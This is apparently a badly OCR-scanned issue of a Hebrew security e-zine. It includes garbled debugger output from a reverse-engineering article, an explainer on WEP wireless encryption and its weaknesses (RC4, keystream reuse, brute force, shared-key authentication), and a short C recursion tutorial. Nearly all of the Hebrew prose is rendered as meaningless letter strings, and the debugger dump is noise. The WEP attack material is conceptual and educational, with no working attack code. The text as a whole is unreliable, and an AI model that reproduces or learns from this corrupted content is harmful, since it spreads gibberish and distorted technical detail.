e or 0 000, D EED 08 LastEre ERROR_SUCCESS (@B008656)
HaU Eck, S56E EFL GABARZAZ (MO, HB, ME, A, NE, PO, BE, 51
XOR BNVTE PTR DS:[EDII, 12
C EOI n622, B4A1 626 28 o (6
[ A 2GR0 SHORT 8040A37A 315 emots B0
E SERIFFFF | P 08464AC I8 ety B
T4 enpry 8.8
o oo 15 enpry 6.8
2 & STE erpry 0.8
& Degee) ET7 enpry B.6
& ma ESFUDZOI
& DEpee I s Cond 5868 Ee 50080686 (G
& e, Fiu e Pre: NEAR.S3 Mask 111111
& ]
& ] -
OE 6o
EDL-G040I0ZE (no2z, BeAgIaae]
I R biszsserbly Bt D F TT1ZAS1[FETOR v kerne (32, 77154511 =
e —— ~ Epismag
T 0 e P osstEran] 1arog|[ 7nsEase| RETURN o ntdl L. 7rRsEaBe
# BF7EA2 52124{ ADUD DUORD PTR DS: [EDN+214412521, 14 12rFec) | cofbaeae
* 444 IH AL, 44 140 conmand 13EERe| | Creeed
7B 12 J5 ZAORT Boda 1623 Inheritable et
] U3 SHORT BBaB1822 Aosess e
3 FOP EST 12FFE | pongaon
T e JEE SHORT 042105R | Ut uous pref i | et
% 38:3AS6 12 [CHP DL,BYTE PTR 55:[EST+121 P | e
e He TGS (G D | 12FFCd || FFFFFEFF|End of SEH shain
7ok PREF1 DATASIZE: Superf Luous pref in | Ry [ e
7 3 FREFIX 251 Superf luous prefix | | ey
i 2% = PRf1x ogTesize Siber (sl breris P [
8 : upErE LUous pref ix Fl
§ ! 1ZFFDS| ¢7ASE4E3| RETURN to ntdll.PPASESS from ntdll. PPROE4EF
o T S (AR 1ZFFOC| 0040RS7H| neze. <Hodu LeEntivPainty
1ZFFEG| 7FFOAGM
1ZFFE4| omaooem
1ZFFES| DmaDans
1ZFFEC| BaBDGON
15FFFE| poDE0m
I1ZFFF4| BR40A976| nc22. <Hadu leEntryPoint>
1ZFFFG| TFEOROM
1ZFFFC| Bmaoaom
£6et CurpentProness
hTargetPro
nScurce =
£ CALL EBX L o =
Le ELISH i
| [Paused
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DNINAY NN9NA XOR DY TIT'? 12y TIZN YON 70w 2¥N1 0'K¥N1 DDIN jmp NTIZ97 DNYAN TWUND
W' - INT .0TIR '"MI2TAY IND NN'MY 1YW YN ,'NDIN YaIn ax¥n 7y (DT nivw oA non Olly)

(TNN7 DNINAY IR 12T 70 1K) NetCat VINa NN 710 ™'y NIt K7W TN Yalp 0dY

NX7170 .Unpacking-n NX717 n'nn N12IMY 01000 NTE ,WTNN YAIRD DR INNNWD 'Y nn
N71y9 X'N XOR-Y |11'Don .0NNAY NNSN Oy Byte, XOR 72 1Ay TIgn yopn N7'nnn 7nn ,y¥an
AITA' Byte-n (1NXY DX TT' YaIPNWD NN MIWRIN DY9N) Nwn Dy92 XOR IWYNY yaia,nd'on
7'nNN X'NENNWIDNN N'WRIN NYDINYT AT TIRN Y197' Unpacking-n NX717 102 .Mipnn DY

YN
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D'932D NI'YA NAxAl XIAn - NMMDXM N

(UnderWarrior) 7Tx 711 nkn

10102 117 NMIXAY NINN D71V DA N2INA "MK N1 NAMN DR 11'2 D'YNIY D'YWIRYD
DMYNAN D'VIANN 7Y IR, TNYNN VIAND PNYN DAY T200R 79 Damnn It "X - ynpn

00NN 'vYo0 NTYTON

D'0IANN DX NNDTAY NIDIYA NIN'DA TINA D'PINY INIX ,ATA 72 77N NN9NN DINNNY NiNnY
7NYN :N1DINN D71V2 DAY NNIZA D'RN DR DNIPKR7AN 012N W D'YIN'Y NIRT DY .D'010NN
D'D10 O'N7IY WID'N 'WIIN L|[7NYN 7 TTMNNN 2 NMT? T N'MIRKM N1'1] D'YNNvn Awnn
nN7v 022000 DX N7 DRIY NIFMYN NN L,YUTNn won? 107 Atv7 nwnn X 'an? n'omn

1R |NXY NX NIN'KNNI

> ,NNIDX7IN N1'AN 7W PNAN DINN 7V 1QT? A¥N IR DT XN N7'NNNY 0NNXAN D1NToa
A'¥N7 NOIX 1IN .O'NNTPEN NNDNA X7 X ,D'NDNN Y ARNPY DTV DNKAN .N7R D' XINY

.DNINKRNY NT1ON ﬁP'UYJDYJ'? 01DN7 X7 aRom"pgn D'ANMIAZRN NINKN nnNpyvn NX

N'D N'NPX7N N1 DMK N1 7702 1T i 12002 7'nnl NMpKN NN ninn 2y 12aTh tm

,NTMAI nipon npyon ,NO'ON7 D'MNMIAZR NIN'D X'D 17W NNLUNNY ,AYNNN 'WTA 7NN DINN

D'VY0NY NNMI'YD NO'OSNNN N'NIYNAYN MY IT NNTAN - 27 1N'Y N2 NIV JINDY7 'O NNTI

,0M10N |22 NI'YIAK 17'OX |07 RNP7 INIY ,"NIAvIn" Nidn 0a'¥n 0'01onY Tyl .17 DNx'n

N9 N2N NINOKY NNVNA 12N TN NMMIPDK7AN N1'aN DINNA apnnn

[78 [V .D71VN 702 DYTAN DX 7NN DT XYW 221WNY IVT NNXAY NP/ I'N' 0Y9 'K DRN
DTX7 |M1" DX NIIAN7 AWNN NDN :NIIAN7 AWNN NN ‘M T2A'Y [Nan 1950-2 vy 21110
AWKD ,IWN TN NXYNIYW NIY' DY (Console) Awnn pwnn NIYXANI NN'Y 7017 1120 TN AW
.N2IDN IX DTX 2¥1 1711 DXN NIAT? 221 X7 NNIWNN DTRAE,NIDNA IX DTX IN 2NN NIY' QNN
Tnyn? 0'01N D'9SNNYAN TWKD MY TR NIDWI L"2M1'0 nNNN" NRpnn ,Nime X7 nirnnn

.A11'0 |N2N NX 112Y7 NNYXNYW N1DIN NANDI X7 TIV DIMNTY NN IMY'Y NIDIN

D972 NI'YA NAXNI NIAN - NTNPKM N1
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[PI0N AWIN XIN NT D71¥2 DAIYNN DAYIAN TNX NIMI7n ndvan ¢ pnnn 071p7 1rm
nNLN A'WNY O DY NI N7Y D200 NIX NODINN NIY' IT 'V1A'701'K DIO .'VIA'7'VIRD
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.OX7

D'71¥IN N¥MO
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WEP n1oxn |[hain

17 7% NXN

IEEE 802.11 - XI12n

WLAN YI920 nnwa IX ,N'OINTRN NMIPAN YN NIX D'RYIN D'VNTIVO qOIX INT IEEE 802.11

.5GHz-1,3.6,2.4 9w 0" Tna ,(Wireless Local Area Network)

2I7101M9 NN WIN'WI TN YTNN DN2AVA YT (R'X71TM) (1298 Niv'w Nizon 802.11-n nNown

.(LAN) iz n'mipn nwn7 wnunv '0'oa

NX9INY NMIWKRIN IT X'N 802.11b no1an X ,1997 miwa avin 802.11-n 7w [IWURIN 71710190
[N ,[N"'2Nn NINI9INI NIDOINI DNIS'YW NIP7IDW NIDOI1 NIXOY'A W' DI'D 1999 Mmiwa n7apninl

.802.11g-1802.11b nixo1'an

Wireless desktop

=

(7
{
G

phone jack|

/-

/ /ﬁ
S

Wireless laptop

N
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802.11-n n1an

,(AP) nroInx nwn NI L(STA) nann ™'y 02N 1901 70 802.11-n 7w 17 mann

.(ESS) nannim noavni ,(DS) n¥on nd>vn ,(BSS) *0'oa nin'w wn L, (IBSS) 'Knxy '0'0a NN'YW vN

NN .DS n¥5N N>wna NIt K77 Nimayw STA 'My NINSY7 n'7'On ,N'0INTR W "NITIBSS

.(Ad hoc wireless network) pIn-TR NwN DA DR IT

IT NYN .0"0INZXR D'0I"77 1901 IX TNNQ JRINN TNX AP 07'Dn ,N'0INYXK NWA IT BSS e
DA wnwn AP-n .AP-n 0T DNWpPNN BSS NnwNa STA-N 722 .N'0'02 N'UINYK WA DA DR

.(STA) niaNN? N'HEN NYAN |2 IWand DAl NN LAN-N nwA7 JImnd

2710 "20NN DX WNNN XN RN

ESS

IBSS

@ STA

e =

BS5S —

o)) ((» (b

BSS — {{F) @ STA
i @ STA @ STA
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N'VININ YN YyT'N NNVAN

10N N'UINTRN NYWY7 NN W7 WD NN NNIYAYN NIY XD D'0INTRN TWA7 nwnan NI
Y'Y M7 71 qQuNnT a7 NNpn DYInY TIVa DNIRN TYann 0'7apny N'namn Nirunon nx
W'l YN 7W 1IT'WN NIV XYNIY ' 707 QuNnT 710" N'0INTRN NWIN WD NTA7 DT N

(T awnn 752 VYNNI DI NA7IYNY NIVIX) NATRNN NIVIX 17
DMV D'P7N NYI7YY DR7INNY NNVAX 'WXNK 7901 802.11 71710N90 IT N TAIY Q7Y

.(Authentication) nm'x .|
.(Filtering) ;*o Il

.(Encryption) n19¥n Al

nin'x
N'D NDYYUN YT NTYUN KINW 197 (NW'a NTIR1) AP DY NID'W X' DINTTAY 2N 019 D

MN'T NIV MYy nin 802.11 7171009 .AP-7 0170 |2 11A'NN

n>wN .AP-n 2N 7Y 7Thnn NNNAL7IRIVNSND NIYATA 270 INTY ,ANIMS DN Nin'. |

N'OINYR DY NNIX? DNAINN 0N TV 70 ,AP-n DY YWPNY7 D'01"770 727 NWONN NNIND
WD 7W ImYN N0 017 227 1IT NYA? NN2ANNN NNWOK NI IT ATy .(nnt SSID)

72 T V1 QRIvn NNON NIYXARA N'OINTRN NWA7 nwan 7y 07IY ,9nivn nnon NNty I

(nnonn X777 Do) Drixd X7 D017 7w NwN% nnmannnn DR nwpn

N19¥NY7 YNwny NNONNY (11N ,9NIYN NN9N 7¢ NIj7N2 NWOIXNA NI'NY NAYN NI9X¥IN

NIn'XY7 DA wnwn

2"10 NN N'91A NIXD WNNN XN RN

Knock knock...
Encrypt this: amvok98%6 e
Here it is: E(amvok98%56 )

If D(E(amvok98%6)) = amvok98%6
Send: you are authenticated
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JDNupna x|
JN'TNANND NYIoN NI NTNNN oYy VIR N AP-n LI
-7 M9XMN NTNNAN DX 'TNAI 7Y QNIYNAN NN9AN NNTYA NTNNNN DX ['oxn 01*9pn LI
AP
N7APNNY NTNNNN DRD PTAL 17 qQRIYNN NN9AN NTYA 72w TIgn DX Nwon AP-n IV

LON'RNN DYTIN 17 N7IW XINENNAIRD 017770 ,)0 DX .11 27w n7ww It nnT

|n'o

:D'OOT MY T 7V WA 72NNNY7 NI0INN NIINN 307 NI7IDY (AP) NI'VINTR NW'A NITIR

.MAC (MAC address filtering) niam> n'o .1

P (IP address filtering) niamd jn'o .2

DAl MAC-N NAIND DX 977 NI7p2 N'ON* 713' (PRN IX) NWA7 U719 .79 NIp'oon [1'X NN NIV'Y X
AP -nn NaInd 727 101 YA MIAVNYT NATRN T 2V ,NwN7 nwa 07 W' DY NN NNXY? IP-n
NIDIN T 7Y NIOXIN NI'R NYIN NNIAYN TWKRD N7 y¥aY N2 IT nU'YW X .NWA? 7annn?i
MIAYNY 'TXNT 0T W' NI9XIN NIIAYNN TWRD DAY TN71 JUNN1 .01NVI'RN 2NN NIXSINY
Packet ) niann NN 7Y 7W9IN X7 NIDXNNY RN NNXK N'YOIX .NNNIXA NAIND7 NITANNT71I wan
7 IP NIAIND NIXYNI "IN NNNDA YITD (NN yT'An 7w 2700) nann 91 7y 71 X7X (headers

.NNAIT? WEP M9¥N DY D7 AT Npn TV 7wl 1znn

n1o9Xn

N1I7109"P2 DAVIN

.M1pnn onn - Plaintext
.|9xImn 1onn - Ciphertext
.|9XIN 10N7 NIENN 10NN N2'ON NO'Y ,|91xN - Cipher

.nyon/|'oxnn T 7y |9I¥2 Wniwnn ,'TIoN NNonn - Key

xR

.|9¥In 10Nn7 NI Yonn NnN - Encrypt (encipher)

WEPN19¥xN 122110

www.DigitalWhisper.co.il
41 2009 nNa1opIx 1 1M



Technologic

.MIENN 10NY7 [9XInN Yonn (NIYo) Nnn - Decrypt (decipher) .6

.N1ONN NIV'Y NN - APV .7

NNONN NX NYT? 721 ,NNONN IX [DI¥N 1727 NIV'Y 7NN - (D19Y NNAY) AT'7R-109"p .8
RU}aba)

.nr"nx—los"\pnl Nn'9A109" 7N NX A7vunn NTY - "I'Jll'?lUD"\.'l 9

?NI9¥N IT NN

7521 Mvnwn NX XaNn? 1 (Ciphertext) TIpY (Plaintext) yT'n D'D9IN 1AW 1'70N INT N19¥N
N'0AN7 *TD NIOXN 'V D'YNNYNAY ,VyNwn LINIX 72770 0T YT 2227 WmN 1'kw m 700 vin?
DA NIV YTNNY XTH? T ,INIX NINYIY [N 1197 yT'AN DX NI'oxXn 775 012 nnan .nirono
TIWXINN NIOXNN LININ (VAN T 70 NNl NNIAYN NYIA N [9XINN yThn JImwn 17002
MY NiM"'p .(NN9N NXIZIN) NN'oN NI9¥N NNOII T (DMD0N INA AXIMN) VTN NNavn T 7y

NIXI9Y NIOXN 'A10

JTNN NX NyoYI |'9Xﬂ'7 O UnNivyn NN51N INIX DAY N19¥N 210 - N"un'o n1oxn .1

:NM0N'0 NIOXN INNN XAN RN .MuN'o XIin WEP n1oxnn [1121n

Plaintext

- Plaintext Ciphertext
; . U . ’]

Sender Encrypt Decrypt Recipient

o ol

Samae key is used to encrypt
and decrypt message

\ rd
c
Shared Secrat Key
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Technologic

VTN N19¥N7 TN NN9N] D'YNNYNA DAY N1O¥N A0 - (n'ani1o N1o¥n) N"VN'OX MvXN .2

:NMOVN'OX NID¥N INNNA NN 'R .NIO¥NN NNYD? INX NNONAI

S S

Plaintext

Differant keys are used to
encrypt and decrypt message

=) =9

Recipient’s Recipient’s
Public Private
Key Key

:NI9XNN NUNIZIAN NIX INNN XAD RN

Ciphers

Classical Rotor Machines Modern
Substitution Transposition Private Key Public Key
Stream Elock
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NIXI9 NNOXN 1901 N WLAN N'OINTRN NwWAY

WEP
WPA
AES/CCM

> w N R

Upper Layer Encryption

JYNna VI9NI 2NN AW 27NN KINL(N19X¥N) WLAN N'0INYRN NWI2 YT NNLVAN W AT 770

.WEP n19¥nn |122102 0NN NITnnnn

WEP n19xn |1n2In

NYIN 'UNNWN? N'UINR NNVAN 7907 [12IMW N19¥N |12 INT ,WEP (Wired Equivalent Privacy)

.WLAN (802.11) n'uin7xn

YT NMaon 9 X NpI7 YUK (Symmetric Stream Cipher) N"0n'o DOT N19¥N |1 InT WEP
NAoN 912 97nm X YT'NN NNAoN 912 .NIO¥N DNNIIAZR T INIR aynl (Data frame body)
D |9¥INN YT'AN A2 7V DNMNYXR IMIXA TYNNYN NO7IEN NINNN ONRT ATIvnl [9XINN yTnn
700 P7NN) NNaonn i NX PR 'oxn ,\WEP -0 mmw X7 21wn DMipnn M7 iR nayosy

‘227 0'o1wN ynint [ynin NQIND DX 1'RWN D1l (Header) nnaonn NN DX X7 (VTN

2001 mw n7'nn2 .104 bit IX 40 bit 7w D'DIINA NI9¥N NINNONA Wnnwn WEP ,NMipnn INNixa
N¥M97 N1n1 WEP Miayn oinw 27 72y nn ,0npin T 2 17200 DIrup Niv'in 1oon
TN Ny IEEE m'pn 1T N'7ann 0'WTIN 1901 1IN NIZT 1901 1IN NN'RNNA N1'AT N1DIN NIYXNIXKA

A28 NIY2In mo? v (802.11i)

Wi-Fi Protected 191wnn N1ox¥nn 1122 WEP-n 7w Imo7nn 7y 802.11i nuy 1mdn 2003 niwa

Access (WPA)
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N19¥NN DNMIATRE WEP [122an NnY71y9 [9IX

.RSA yT'n NNLAXN NN2AN T 72V NNI9 TWKR ,RC4 N19¥NN DNNIATRA wnnwn WEP -0 [11an

122110 N1an
keystream
V+key—=|RC4|—= |0 [ 1|0 |1
l—_'_l'
seed )
Plain text 1{1|0|D
110101

Cipher text ———

,(WEP-40 "im2a Da yIT [37) 01 40 7w NNona wnnwn (bit WEP-64) '0MTavon 02 WEP 64 e
.02 24 7Y (IV) 2INNIR I0RIE DY TWIIYN TWUR

IV -7 qwniwn Cwx 01 104 7Y NNSN] D'YNNYN N2V NANIMN N0MAN NIt v WEP 128 e
IV + key =104 + 24 = 128 bit) v'a 24 71122

IN ' .(A-F, 0-9 :16 0'01) D'7n'YTOPN D'IN 26 7w NTNNN T 7V axim 99D 012 WEP 128 e
NNONN NX TN DX D'V 4 77122 0NN TNX 72 AWK 0N 26 .AN9NNN D'V 4 ax'n
.0'0'1 104 ¥ 7T

,0'011 24 X1 V-0 77112 ,IT nan1na DA .(D'anm 7w Yun?) ooy T 7y 0ys? owim WEP 256 e
D'IN 58 *T* 7y DX 17X 0N 232 .0'07 232 77122 DIN7 NNoNN 7T1Ia NN V'RWUNY DN

.(bits 232 = 4 x 58) n"m'xT077N

RC4 nnMn7xn T (stream) V2 INX V' NQVIML TION NNSNAN OV WIWA (V) 2INNKN 1071
qx11 021 XOR N7y nryxan (plain text) 17an yTnnl keystream-n 7V .keystream-n N xI* o2l
178 qon ,yTnn 72y 72wom checksum (CRC32) ni1ox¥nn 1197 .(cipher text IX [9XInN yT'AN) TIEN

JANIX TN 9XIMI
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XOR N71¥9 0'y¥an 'TIoN NN9ANI TIZN 7V :nnIT [9IXQ nwYa (decryption) [9XINN VyT'AN 7¢ NNV
TW7 DONIN XIN DX NIKYY? 'O checksum-n 7w n'Ta D'wy¥an 91027 .yTnn NX D'7an DAl

ANIOXNN 17NN VTN D'YIA'Y INXI DX NI7A7 T NYXIAN IT N7'Ta) N19XnNn 197 7Ap7Nav
7 7 | 717
2NN TIVUNI |9X¥IMnN yTMY7 NYd WY TION NNONN DY WYY (7INNIND Aopiy) IV-n

X700 '70NN DK AN XA I'RD

Sender (Encryptor) Receiver (Decryptor)
Initialization _ Secret Key
Vector (IV) — < RC4
P ED RC4 PRNG
Seeret Key PRNG

Pseudo random stream ;‘ Pscudo random stream
Jz
= NOR
Plaintext Icv Plaintext Icv
Sent Packet

:XOR N1y

(‘B :In'o

JNNQN NNK NY7200 T 7V IRINNIDTINSIN W 7V 2019w 1217 10191 INT XOR

x vy |x XORvy
0 0 0
0 1 1
1 0 1
11 0
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XOR -2 D'wI'Y7 NIRNAIT

Plaintext 1 01011010101 -
Keystream XOR 10111110000
ciphertext 1 11100100101
ciphertext 1 11100100101 e
Keystream XOR 10111110000
Plaintext 1 01011010101 -

N19¥N NIX NTY ,N0N'0 NI'N7 N19¥N7 DA TWORNY NN ,"M0N'0 NVIDIN INTY NIXTY N e

NNONN INIX NIYXNKRA NNYOI

:Keystream -n

N XINY TY) YN o'yn'T v YIj71l YIAjp OIRYI 'TION NNONN ,NIYW Keystream X' nliv [V rb)

24
mopnn 7TIAN INT 0 24) DY 0'-Keystream 2 X" T'N' FTIO NNON |27 (7702 DX INIK NNRWY

(IV-nw

N71v9 yxa? "1 .0'-Keystream-nn TNX DY XOR N71y9 'nit WEP 7w NSl N19¥nn 12T 7w 19102
N7 NNT RKINW Keystream X1 (7'V'7 2I'R DRY) 07702 N077W (packet) nannn Nz7a IV-n NNy
N71V9 DM Tipnl 0T Keystream .(Ja1nd NNT *TION NN9AN DAl NT'A1) N19¥AN )'70NN2 XY

VTN NX 0'735m 01 XOR

MW7 DRI RINE 'D'Y90 NIFNY 2N X7 Keystream-nw [2Mnn N'YUizil NIND XN N19¥NN N71V9

24
Keystream NI72%7 MWON 0T ,)0 71¥97 NMIMK X7 IT'W NINNY NNNY NIFNWOXN 2 -n NNX X'NY
70" 97N, TR Keystream "17'a *T* 2y 7221 .IV-1 Keystream INIX DY NIIY N NI7gY ™1 10

.Keystream ININ2 D'UNNYUN TWX NU?{71 NIN NIWDYT IR [9XIN YT 70 1 TYWT

WEPN19¥xN 122110
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nnx 1 p7 Cipher @ Plaintext = Keystream :npnn nntpnn XOR-n nAtwa

T 7V 0IWS NI727 N1 TIZN DX .00 XOR yixaAl yTant TIpn 9w nyrT R Keystream-n 17127
N7apw IV-n NI DY NN T N1, TIipnn Y72inn Keystream-n OX .NTIWNA NanY% NITRN
N'Yan X IV-N ININ2 NYNNYNnn D071 NI 75 NSy *1 wnw 215! At Keystream .N1TRNNN
DY NXRIYN IX7 YT'AN IR WURIN IWT7 DAYNY XD ITD NNIXa Keystream-n 21w'N2 NNjp'vn

1172w ARNINN

RC4 nn"1aIx

anTpn
DI'D NI YI9IN DT [DIXN XIN ,1987 Miwa Security RSA NNann VoM [N T 2V NNIS TWX RC4
HTTPS-1 (wn mvn nNLax?  271009)  SSL > DMI7I919  DY7I71I0N09% pwini
NI7'ONY NIY2IN W' RC4-7 ,Y191 TIXA INI'A NTAIVIE NN VIYD TINNA KD NN N2 MY ninnY

JIYTN NIDAYNY MM DX 7902

IN D701 X7 NINN9NA win'y ,(Keystream-n) 0790 7¢ 'N7NNNN 7700 ;0 T DNNRYR NIY7IN
NI717Y ,RC4 -2 win'y'? NINIVA X7 D'DYT .NNX DY9N MNP NNON INIK] WIN'Y IX Y7 TAR DNIYR

JWEP N19¥N1N 12207 XIN )27 NAAIT .VT'AN DNVAX] D'MADY? 721InY

(Stream Cipher) DO7 |91X

D19X71 (D'MIVO'N) D'OX7P D19X7 X'N DDA NP NRI7NN X ,09Y 'A10 7w 10 |IIan W
.0"MNTIN

D'2'9¥N IT NV'YA TWKD,|N''2N NIVIYON NNKRI YT N19¥N7 NITINN NI0'WN NNK X'D DT |91

.02 NN V' (D' DOT) VTN NN

DNMIAYNN N1AN

VTN DT TWKRD ,NIYOY71 N19¥N7 DA Wnwn DNMIAZR INIX .N0N'o DT 91X INT RC4 DNMIATR

XOR n'721y9 oMy XN NNonni
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TNIX? WK Keystream-n DXV INTY ,(*701TN-ITIXOD |12 NIY) "7n1ITN D'V DT X'n RC4
ANXN) NAIT [DIN2 N'WYI NIRYON N7V XOR N71y9 Nty (Plaintext) yTmn oy TN' A71wn ,N1oxn

.(Mmoun'o x'n XOR n'71yol
:0'P7N "IWN 201N YK TI0 M9 A¥N] WNNWN [9I¥N  Keystream -n 1Ix"Y

.(Nan 'k SINa nion) o'Wk (Bytes) 0'Na 256 7w ntxuime .1

(RN K7 -17i“Ina 0nion) D' 8 TN opTIR ANWN 2 .2

INTY ,Keystream-n NX NNXI' TN'2 YUK ,PRGA-I KSA ,n'on' NIVIYD NI'Y72ID 'Mwn 107N RC4-n

.0'0" 7Y "MITIN-ITINOD DT

KSA(K) PRGA(K)

:Initialization :Initialization
Fori=0..N-1 i=0
S[i] =i i=0

j=0 :Generation Loop
:Scrambling i=i+1
Fori=0..N-1 j=j+S[i]
j=j+SI[i] + K[i mod [] Swap(SIi], S[jl)
Swap(S[i], S[j]) Output z = S[S[i] + S[j]

KSA n'xion
INIX 2071 Keystream-n DR 7NNRT? nT'9NW X219 '0IT ,KSA (Key Scheduling Algorithm)
:N'¥190 TIZ 120N

CRC-nI Plaintext-n 7w 1a'n7 DX nnwn (N) IR S 7wn Dy 1 2u 2'nnn '7nnin
7¢ OPTI'RN WY DY NIFN7 YN 12K 73 7w 00w N T 7Y 7nnikn S wnin L(checksum)

S %y nint nmxuomao oxva qatw L(S[0] = 0, S[1] = 1, ..., S[N] = N) "a'x InIx
WEPN19X0N [11an
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7w NX (N 17ITna) nLoin T v j -7 7w awnn KSA -n (N - 1) TV 09xn i 727 2aimnvin 27va
AWK (K7W RN INTY L1 171TINA) § 07 T2'RA WD NIRES 1N 7w i 07 TI'RA 1w NIXLj 7w DTN
-1 S[i] 7w 0vN 1027 .NN9N7 WY DA 170NN 9102 WK (7INnRN opn) 1V - wn RNk
A17'W 7W IR WK LS VN RIN 910N IXINN .S YN AR 73 7y yyann 0t )*7nn .0'o'7nim Sfjl

.NNoNN 7w o TI'RN '©7 2211vnl,CRC-NI Plaintext-n

PRGA n'xj2119n

2w u79n NX 77 ATponw e it ,PRGA (Pseudo-Random Generation Algorithm)
nNT) "701ImMN-ITIROD D'V DT INTY ,Keystream-n NIX IX'™71 2271yNn )N INTY KSA X190

(Mr'mim
X219 TI7 N20N

NMT'0 NIV AW DAY NRT177 01211 1T N'¥71197 YD y'an ,KSA N'¥71191 2111y 7'70N 12w S vnn
,(2) V79N AwINAY YN XIND V790 N97NN 701 ,NNTIRN DYD97 TIANa ,0V90 X NI97Nn N 7w

VTNn DX |'9xn‘7 ) Wnw'y 'o10n Keystream-n INT ,NR7170 DI'oOa N MR VYN XI'Y

WEP n19Xna |12 7V NI9IN

[27 ,N1'0PD D 72 1K1 X7 NNIWRIN NIDPNAN "D M- NIY7IN 7w ndINR nNIvon wt WEP-7
D D1IZ'N 1P9'0 X7X ,0'UTN NNVIX NNNNOA Y'PWUNT K7W 197TYN IT NI9XN NINY'NN NNAaNY
NI9PNNI L[ATN (YN INNONN NIDPNNN .ITN YIXA7 DWUPN N9PNNYT '1D'oN DX NP Ty |'oznY?
D2I7'N OIXY7 DN N'YYNN NAIAN 1901 0yd \WEP-7 D'UTN D'MI'R NIT'AYA TWK 17200 NIYTN

.n9,7nn'7 '12'ON DX NI TV 1107 AWK D'YTN

IT NI9XN NINY'NN NN2aNN TxD1 WEP -2 17aniy NnMpP'vn Ni'Yvan NX a'XX 'IX O'Xan 0'9'Y0oa

J2'an
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Brute-Force nopnn

TNIX D'RYINY TY D'MIYOXRN NINNONN 70 NX 0'0IN NAY Brute-Force X'N NI N'A'KIN NOPNNN
7y Brute-Force Nopnn .01 40 IX2 NNON W' '0ITIVON 802.11 71ZIVINDY .O'RNNN NNONN
DX TNI'ND ,"WON X VA - UTIN? 2N 7IXN T 7T AWNN NIYXAXRA AT IR NN9N

(070N ‘NN Dnw 0'-Thread IX D'70N7) NRP7INN NN'wnn

.0'2 104 ka2 WEP hnona nd>'n N90In KIN IT na'rm"z WEP-n 'pliwn 7w nwnn

Keystream -2 TINn yin'w

27 .NNON2 NU7N NI'R DNNIAYRN 7w NNAXN NN D 7V Dvraxn WEP 7y 1wyaw D'nimna
1220 X7 DDNX NI NINN9N] win'y T 2y WEP-D 7w nnLaxN Nn DX 1207 0'aTip Ninrol
NTWY DAl Keystream IMINQ wNNwN YUK YT NIWD7 MWON AT ,N"721 Keystream DX .NIN'D
NNON NIN'X' NU'W 7Y JANO0N NI 'OZI9N 112NN PN INKT? INNID Keystream '17'a%7 011120
X7 NI0YD N7 (11 W't n0'W? NwoIkn NI (Shared Key Authentication) 'qniwn

OQNIYN NNON NIN'X [12220 1K D'ATA AT IR QW7 NINNIRN

Knock knock. ..

Encrypt this: amvok98%6 e

Here it is: E(amvok98%56 )

If D(E(amvok98%6)) = amvok98%6
Send: you are authenticated

JIWN7 12NNNY NoNY NINNY 1ANX 1IN2 Y72 VORLV NTINNN N7IY (WVIRXIN ,NT NPNa) AP-n
NIM'RT NITRD T 7Y .072P7W LORLVN NTINNN 7Y N19¥N NTY NANNT7 NIYN *T' 7V MNNINA NINNN
NNl E(amvok98%6) NXiIn ,NT Mznaw (joxmn 1onn) Cipher text-n NN DA W' QPINYT ,NT 0N

-0 DX NI7AY 71 Dna XOR iy T 9y .amvok98%6 NX'n N7 Mpnav nY7an NTnnnn

WEPN19¥xN 122110

www.DigitalWhisper.co.il
51 2009 nawopix ,1 '



T'NY YIN'UY INXRN ,NIN'KN ']"mnn V-2 11N win'wn D'ynnwun y'ann 802.11 |7n .Keystream

.MyIon Nnirn? 719y IV IMIx oy n1oxna

W' NN TA2 DA [2Md X .MAC Niamd [1i'ol (SSID) NWAN DW NINON KA IT N9PNNY NAIANN

.MAC NaInd qI'T IX NYI7 NID'Y NWRAYT NATRA (120 N'ON' NP2 [NIX NI9RIVY NIDZNN
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C nowa n'oNI7? NKIan

(UnderWarrior) 7Tx 111 nkn

TINT DY .0'YUPN D'RYIIN TAND 2WNI N'0NIN RWID C NOW NX NIWXRIT7 TINY? D'WAIn D'WIN 1IAY
[MND NNY7 720'w 725 X'D - 19071, TRIM 'YIZ 2'¥N7 DIMX N1'R D0 L RN NdNNN 1Ay
DA DINONY NDYA D'RYI1 19501 D'NDIY 'OV AN D'Wa UKD 2NY7 .NI'va? 'onx

.2N2 X7 black voodoo NT'X D NIKANT? N0y

Nnr¥Io INNN X7 vynd DI'n "KM N'ONN KUY DR 1IA'Y'Y D'INXN MYTO NDNISD AT MNKN
TX'D 2'X1 NAnN MNIXNAl NN AIx'"7 117 DWORNN C N9 2D 7Y NaxNa 7'nm Jrmronnnm

JMA'0 N NINXAID D'AND N78 02N NIV

?N''0N1Y DXPAID NXT AN NRAN NRYN 7Y N7 N o0 199

NIXPAD 7NN TR KN 0NN TIR .NNXYY? ARMP 270NN DY K N0 YN0

:NIX2N N'DINA NNAIT? V1) o

#include <stdio.h>

void star ()

{
putchar('*");
star () ;

int main ()

{
star();
return 0;

.star() N'¥A197 NN DY N7'NN DY DRIZ main() N'Y¥21190 21T NMIN YN TWRD Nt N
NN D790 AW, TN 201D 09TIF AW .NNXYY? NXRIIP T, TR 21D N0'9TN star N'¥j190

NDINNENIONNAN 7V 190 [NDTN 1A IT N'IDIN YN TWRD D'I0N 27w - X7 ?9101'K TV .NnxyY
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X .(© o7 17w N1DINYT DINAY 1021¥12 DX X7K) T N N'YIN'Y TN DYI9NW NN K7 KD TV

NIN AWUNROY 'NIN - DAY 'NIN 7Y D0NIIN DYDY 901 PN'WIN'YTZ N'XAI9N DK 19N

.D"NONI - NAXYYZ AW KIPN K7 N'¥72190 ,Mj7!

INN2AITY

#include <stdio.h>

void star (int n)

{
if (n == 0) return;
putchar('*');
star (n-1);

int main ()

star (5) ;
return O;

ININ N7W DAY 'RIN 7NYD Nt on

if (n == 0) return;

7N D' INIX TWKROW 17 0'Y1 .0"NON X' ﬁ'OWIrﬂ'? N X7 1on ANXY?I,NIMDID 5 109TI' NYD

N1y 01507 D'7'09N VIYD 1NN - NI'XZADN NINMP NIWIWN MNAY7 DIRXIT K7 1INIX NNV 'RIN

.NTNIXN2 2'NNAINAT N7y NTHN T - IARTN INDINMAN7IT NT71 DX .N'0NIpN
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?NTAIY 2'01IPY I'X - D717 DNNWNAI NY7I0N DTN ,AYIDY AN
NXMIY MIYKRIN DTN NYnnwn n'olipd 0n2a C NdSwa 0111210 N1an 2V XIn DN N7 waTn

MITAE AR TYD YN FAN7 X1 PN INKT? .DY%219 78 DN0NI5N NNV 11211 KD WAt

NITAI NIYY19Y

n'x7io 2w VN1 HILZ @R L ]h]

